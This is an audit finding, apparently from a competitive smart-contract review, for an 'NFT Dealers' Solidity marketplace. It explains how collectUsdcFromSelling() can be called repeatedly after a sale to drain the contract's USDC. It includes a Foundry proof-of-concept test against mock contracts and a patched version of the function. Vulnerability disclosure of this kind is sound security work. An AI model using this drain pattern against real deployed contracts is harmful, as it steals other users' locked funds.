NFT Dealers
First Flight #58
Beginner FriendlyFoundry
100 EXP
View all submissions
Previous Next
Submission Details
Impact: high
Likelihood: high

`collectUsdcFromSelling()` has no guard against repeated calls, allowing sellers to drain contract USDC

Author Revealed upon completion

Root + Impact

Description

The collectUsdcFromSelling() function (L171-183) does not update any state after paying out the seller. Because neither the listing's isActive flag, the seller address, nor the collateralForMinting mapping is modified, all guard checks continue to pass on subsequent calls. A seller can call the function repeatedly for the same listing ID, receiving the sale proceeds plus collateral refund each time, until the contract's USDC balance is exhausted.

After buy() (L141-155) sets s_listings[_listingId].isActive = false at L152, the listing enters the exact state that collectUsdcFromSelling requires: isActive == false and seller == msg.sender. Since collectUsdcFromSelling never modifies any of these fields, this state persists indefinitely:

function collectUsdcFromSelling(uint256 _listingId) external onlySeller(_listingId) { // @audit L171: onlySeller checks s_listings[_listingId].seller == msg.sender
Listing memory listing = s_listings[_listingId];
require(!listing.isActive, "Listing must be inactive to collect USDC"); // @audit L173: always passes after buy()
​
uint256 fees = _calculateFees(listing.price);
uint256 amountToSeller = listing.price - fees;
uint256 collateralToReturn = collateralForMinting[listing.tokenId]; // @audit L177: never zeroed out
​
totalFeesCollected += fees; // @audit L179: inflated on every call
amountToSeller += collateralToReturn;
usdc.safeTransfer(address(this), fees); // @audit L181: self-transfer is a no-op on balance
usdc.safeTransfer(msg.sender, amountToSeller); // @audit L182: pays out full amount every call
// No state update: isActive stays false, seller stays set, collateralForMinting not zeroed
}

Compare with cancelListing() (L157-169), which correctly zeroes collateralForMinting[listing.tokenId] at L166 after returning collateral, preventing repeated claims.

Risk

Likelihood:

  • Any seller whose NFT has been purchased via buy() can immediately exploit this

  • The onlySeller modifier (L72-75) and !listing.isActive check (L173) both remain satisfied indefinitely after a sale

  • No special role, timing, or on-chain conditions are required -- only a single sold listing

  • The attack is profitable on every call until the contract runs out of USDC

Impact:

  • Sellers drain all USDC held by the contract, including other users' locked collateral

  • Innocent users who minted NFTs permanently lose their locked collateral (the protocol becomes insolvent)

  • The totalFeesCollected counter (L179) is inflated on every call, further corrupting protocol accounting

  • Every sold listing is an independent attack vector; a single malicious seller can drain the entire contract

Proof of Concept

Attack steps:

  1. Attacker mints an NFT (pays 20 USDC collateral via mintNft())

  2. Attacker lists the NFT for 10 USDC via list()

  3. A buyer purchases the NFT via buy(), which sets isActive = false

  4. Attacker calls collectUsdcFromSelling(listingId) -- receives 29.9 USDC (10 - 0.1 fee + 20 collateral)

  5. Attacker calls collectUsdcFromSelling(listingId) again -- receives another 29.9 USDC

  6. Contract drops from 70 USDC to 10.2 USDC; victims' 40 USDC of collateral is now unrecoverable

The following Foundry test demonstrates the full attack. Run with forge test --match-test test_repeatedCollectDrainsContract -vv:

// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.34;
​
import {Test, console} from "forge-std/Test.sol";
import {NFTDealers} from "../src/NFTDealers.sol";
import {MockUSDC} from "../src/MockUSDC.sol";
​
contract H01PoCTest is Test {
NFTDealers public nftDealers;
MockUSDC public usdc;
​
address public owner = makeAddr("owner");
address public seller = makeAddr("seller");
address public buyer = makeAddr("buyer");
address public victim1 = makeAddr("victim1");
address public victim2 = makeAddr("victim2");
​
uint256 constant LOCK_AMOUNT = 20e6; // 20 USDC
​
function setUp() public {
usdc = new MockUSDC();
nftDealers = new NFTDealers(owner, address(usdc), "NFTDealers", "NFTD", "ipfs://test/", LOCK_AMOUNT);
​
vm.startPrank(owner);
nftDealers.revealCollection();
nftDealers.whitelistWallet(seller);
nftDealers.whitelistWallet(buyer);
nftDealers.whitelistWallet(victim1);
nftDealers.whitelistWallet(victim2);
vm.stopPrank();
​
usdc.mint(seller, 1000e6);
usdc.mint(buyer, 1000e6);
usdc.mint(victim1, 1000e6);
usdc.mint(victim2, 1000e6);
​
vm.prank(seller);
usdc.approve(address(nftDealers), type(uint256).max);
vm.prank(buyer);
usdc.approve(address(nftDealers), type(uint256).max);
vm.prank(victim1);
usdc.approve(address(nftDealers), type(uint256).max);
vm.prank(victim2);
usdc.approve(address(nftDealers), type(uint256).max);
}
​
function test_repeatedCollectDrainsContract() public {
// --- Innocent users mint NFTs, locking 20 USDC collateral each ---
vm.prank(victim1);
nftDealers.mintNft(); // tokenId 1, locks 20 USDC
vm.prank(victim2);
nftDealers.mintNft(); // tokenId 2, locks 20 USDC
​
// --- Attacker mints and lists an NFT at a low price ---
vm.prank(seller);
nftDealers.mintNft(); // tokenId 3, locks 20 USDC
uint32 listingPrice = uint32(10e6); // 10 USDC (low price to keep payout < contract balance)
vm.prank(seller);
nftDealers.list(3, listingPrice);
​
// --- Buyer purchases the NFT ---
vm.prank(buyer);
nftDealers.buy(3); // pays 10 USDC to contract
​
// Contract holds: 3 * 20 USDC (collateral) + 10 USDC (sale) = 70 USDC
assertEq(usdc.balanceOf(address(nftDealers)), 70e6);
​
uint256 sellerBalBefore = usdc.balanceOf(seller);
​
// payout per collect: 10 USDC - 1% fee (0.1 USDC) + 20 USDC collateral = 29.9 USDC
uint256 expectedPayout = 29_900_000;
​
// --- First collect (legitimate) ---
vm.prank(seller);
nftDealers.collectUsdcFromSelling(3);
assertEq(usdc.balanceOf(seller) - sellerBalBefore, expectedPayout);
// Contract: 70 - 29.9 = 40.1 USDC
assertEq(usdc.balanceOf(address(nftDealers)), 40_100_000);
​
// --- Second collect (EXPLOIT: no state was updated, all checks pass again) ---
vm.prank(seller);
nftDealers.collectUsdcFromSelling(3);
assertEq(usdc.balanceOf(seller) - sellerBalBefore, expectedPayout * 2);
// Contract: 40.1 - 29.9 = 10.2 USDC
assertEq(usdc.balanceOf(address(nftDealers)), 10_200_000);
​
// --- Result: contract is insolvent ---
uint256 victimsLockedCollateral = 40e6; // victim1 + victim2 each locked 20 USDC
uint256 contractRemaining = usdc.balanceOf(address(nftDealers));
// Contract has 10.2 USDC but owes 40 USDC to victims
assertLt(contractRemaining, victimsLockedCollateral, "Contract insolvent: cannot return victim collateral");
​
// Attacker profit: received 59.8 USDC total from a 10 USDC sale + 20 USDC collateral
uint256 attackerTotalReceived = usdc.balanceOf(seller) - sellerBalBefore;
assertEq(attackerTotalReceived, 59_800_000);
}
}

Recommended Mitigation


Zero out collateralForMinting and delete the listing after payout, mirroring the pattern already used in cancelListing() (L162-166). This ensures every guard check fails on a second call.

function collectUsdcFromSelling(uint256 _listingId) external onlySeller(_listingId) {
Listing memory listing = s_listings[_listingId];
require(!listing.isActive, "Listing must be inactive to collect USDC");
​
uint256 fees = _calculateFees(listing.price);
uint256 amountToSeller = listing.price - fees;
uint256 collateralToReturn = collateralForMinting[listing.tokenId];
​
+ // Prevent repeated collection by clearing listing and collateral state
+ delete s_listings[_listingId];
+ collateralForMinting[listing.tokenId] = 0;
+
totalFeesCollected += fees;
amountToSeller += collateralToReturn;
- usdc.safeTransfer(address(this), fees);
+ // Note: the original self-transfer of fees is a no-op and should be removed
usdc.safeTransfer(msg.sender, amountToSeller);
}

Deleting the listing zeros the seller field, causing the onlySeller modifier to revert with address(0) != msg.sender. Zeroing collateralForMinting is defense-in-depth and matches cancelListing's pattern. The self-transfer of fees (usdc.safeTransfer(address(this), fees)) is also removed as it is a no-op that wastes gas without moving funds.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!